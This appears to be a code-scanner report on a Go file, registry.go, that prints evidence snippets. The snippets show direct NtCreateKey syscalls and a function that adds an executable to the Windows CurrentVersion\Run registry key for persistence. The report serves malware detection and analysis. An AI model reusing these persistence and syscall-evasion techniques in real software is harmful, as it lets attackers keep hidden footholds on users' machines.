registry.go
Imports Go's unsafe packageConverts a Go pointer through unsafe.Pointer
SHA-256768d4259397b3514c66a08afa8be8ef3526203e183012445d9260fa3655bddcc
MaleculeH₂(DbOs)
Evidence
⋯4 lines
5import (
6 "fmt"
7 "unsafe"
8)
9
⋯4 lines
31:12… ition uint32
32 r1, err := DirectSyscall("NtCreateKey",
33 uintptr(unsafe.Pointer(&keyHandle)), KEY_WRITE,
34 uintptr(unsafe.Pointer(&oa)), 0, 0,
35 REG_OPTION_NON_VOLATILE, uintptr(unsafe.Pointer(&disposition)) …
78:49… tring) error {
79 return RegSetString(`Software\Microsoft\Windows\CurrentVersion\Run`, name, exePath)
80}
81
82func RemoveRunKeyPersistence(name string) error {
83 return RegDeleteValue(`Software\Microsoft\Windows\Curren …